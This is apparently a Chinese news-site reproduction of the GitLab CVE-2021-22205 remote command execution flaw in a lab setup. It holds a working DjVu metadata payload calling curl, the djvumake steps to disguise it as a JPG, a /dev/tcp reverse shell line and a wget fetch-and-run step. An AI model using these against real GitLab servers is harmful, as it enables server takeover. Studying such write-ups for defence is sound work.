您的位置:首页 >热讯 > 正文

速看:CVE-2021-22205 Gitlab远程命令执行漏洞复现

1. 漏洞概述

该漏洞影响从11.9开始的所有版本,由于Gitlab未正确验证传递到文件解析器的图像文件从而导致命令执行。攻击者可构造恶意请求利用该漏洞在目标系统执行任意指令,最终导致Gitlab服务器被控制。

2. 漏洞范围和条件:

Gitlab CE/EE < 13.10.3


【资料图】

Gitlab CE/EE < 13.9.6

Gitlab CE/EE < 13.8.8

需要gitlab账号

3. 实验环境搭建:

靶机: 192.168.164.132

Docker安装gitlab

验证版本:gitlab-ce:13.8.2-ce.0

攻击机:192.168.164.135

DjVuLibre安装

4. 漏洞触发根本原因及分析:

当上传图片文件时,Gitlab Workhorse将扩展名为jpg|jpeg|tiff的文件通过ExifTool删除任何非白名单标记。

其中一个支持的格式是DjVu。当解析DjVu注释时,标记被赋值为convert C escape sequences。

$tok = eval qq{\"$tok\"};

5. 漏洞验证POC及EXP:

1) 登录后首页,找到New Snippets

2) 此处需要上传 DjVu 格式图片(即Exp)

DjVu格式图片制作方式:(说明:DJVU文件是由AT&T开发并由LizardTech销售的压缩图像格式。)

下载安装 DjVuLibre, 地址为

http://djvu.sourceforge.net/

./configure make make install

3) 准备好将要压缩图片的文本rce.txt

EXP如下:

(metadata

(Copyright \"\

\" . qx{curl taot.np3ray.dnslog.cn} . \

\" b \") )

4) 使用命令生成图片

djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt

mv rce.djvu rce.jpg

5) 上传Exp

上传rce.jpg图片

6) 命令回显成功执行

7) 反弹shell

准备一个tmp.txt

bash -i >& /dev/tcp/192.168.164.135/4433 0>&1

第一次合成jpg命令如下:

wget http://192.168.164.135/tmp.txt -O /tmp/tmp.txt

第二次合成jpg命令如下:

bash /tmp/tmp.txt

8) 上传反弹shell成功。

关键词 图像文件 目标系统 图像格式

热门资讯